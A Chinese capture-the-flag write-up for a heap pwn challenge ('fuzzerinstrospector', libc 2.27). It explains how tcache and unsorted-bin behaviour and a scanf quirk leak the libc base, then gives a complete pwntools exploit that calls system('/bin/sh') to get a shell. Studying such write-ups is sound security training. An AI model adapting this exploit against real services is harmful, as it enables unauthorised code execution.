题目附件以及exp我已经上传到GitHub,有需要的可以自己去下载,这题比赛的时候是我队友出的,大佬们tql。
打开IDA Pro进行反汇编后阅读伪代码,这题逆向的过程并不难,所以就不讲了,漏洞也好找,静态分析后可以发现在1-5之外,还存在第六个选项。
点进6号选项调用的函数sub_E2B
之后,可以发现,漏洞点就在如下位置:
这里读取了我们的输入,并把这个地址作为一个函数来执行,参数为我们输入的8个Index,那么该题的做法就是泄露地址,向chunk中写入/bin/sh\x00
,并调用6号选项即可。
这里再说一下地址怎么泄露,在队里大佬和我说了之后我才知道,scanf
在读入换行符时默认是不会覆盖原本的内容的,也就是说可以输入 +\n
,这时fd指针会保存下来,那么我们在bitmap上,填上对应的值就好了。
这里再简单说一下BitMap:
BitMap是一种算法,在数据量特别大时,可以很好的缩减时间复杂度,通过在对应位置填上对应的值,来表明该位置代表的数字,是否存在。
这题的BitMap的填法不能填0和1,因为这样不好泄露,在每个位置都填上这个位置的编号,就能很方便的泄露出libc。
由于这题的libc版本是2.27的,存在tcache,题目限制了最多申请9个chunk,所以,申请9个并释放,填满tcache后,剩下的chunk由于大于fastbin的size,会进入unsorted bin,这样就可以通过该chunk的fd指针泄露出main_arena,从而计算得到libc,然后再计算出system的地址,并向chunk写入/bin/sh\x00
即可getshell。
最终exp如下:
from pwn import *
#from sgtpyutils.logger import logger
io=process('./fuzzerinstrospector')
elf=ELF('./fuzzerinstrospector')
libc=ELF('./libc-2.27.so')
context.arch='amd64'
#context.log_level='debug'
def create(index,val,bit_map):
io.recvuntil('Your choice: ')
io.sendline('1')
io.recvuntil('Index: ')
io.sendline(str(index))
for i in range(8):
io.sendlineafter('Index: ',val[i])
io.recvuntil('Bitmap: ')
io.sendline(bit_map)
def edit(index,val,bit_map):
io.recvuntil('Your choice: ')
io.sendline('2')
io.recvuntil('Index: ')
io.sendline(str(index))
for i in range(8):
io.sendlineafter('Index: ',val[i])
io.recvuntil('Bitmap: ')
for i in range(256):
io.send(bit_map[i])
def check(index):
io.recvuntil('Your choice: ')
io.sendline('3')
io.recvuntil('Index: ')
io.sendline(str(index))
def delete(index):
io.recvuntil('Your choice: ')
io.sendline('4')
io.recvuntil('Index: ')
io.sendline(str(index))
def execve(func_name):
io.recvuntil(b'Your choice: ')
io.sendline(b'6')
io.sendline(str(func_name))
bit1='a'*256
bit2='b'*256
for i in range(9):
create(8-i,['0','1','2','3','4','5','6','7'],bit2)
#gdb.attach(io)
#pause()
#puts_plt=elf.plt['puts']
for i in range(9):
delete(i)
#gdb.attach(io)
#pause()
bit_map=" "
for i in range(0x100):
bit_map=chr(0xff-i)+bit_map
#bit_map=['0']*256
for i in range(9):
create(str(i),['+','+','+','+','+','+','+','+'],bit_map)
check(7)
offset=624+0x1ecb80
libc_base=0
for i in range(8):
io.recvuntil("Bit: ")
tmp=io.recvline()
tmp=int(tmp)
libc_base=libc_base+(tmp<<(i*8))
libc_base=libc_base-offset
#print('\n')
success("\033[32m libc base is leaked! ==> " + hex(libc_base) + "\033[0m")
#io.interactive()
#gdb.attach(io)
#pause()
sys_addr=libc.symbols['system']+libc_base
success("\033[32m system address is calculated! ==> " + hex(sys_addr) + "\033[0m")
#print('\n')
delete(0)
#gdb.attach(io)
#pause()
bit_map=""
for i in range(0x100):
bit_map=bit_map+chr(i)
create(0,[str(ord("/")),str(ord("b")),str(ord("i")),str(ord("n")),str(ord("/")),str(ord("s")),str(ord("h")),str(ord("\x00"))],bit_map)
execve(sys_addr)
io.interactive()
#gdb.attach(io)
#pause()
后面还会写eznote,我比赛没做出来,队友出了,我去学习学习,大佬们tql。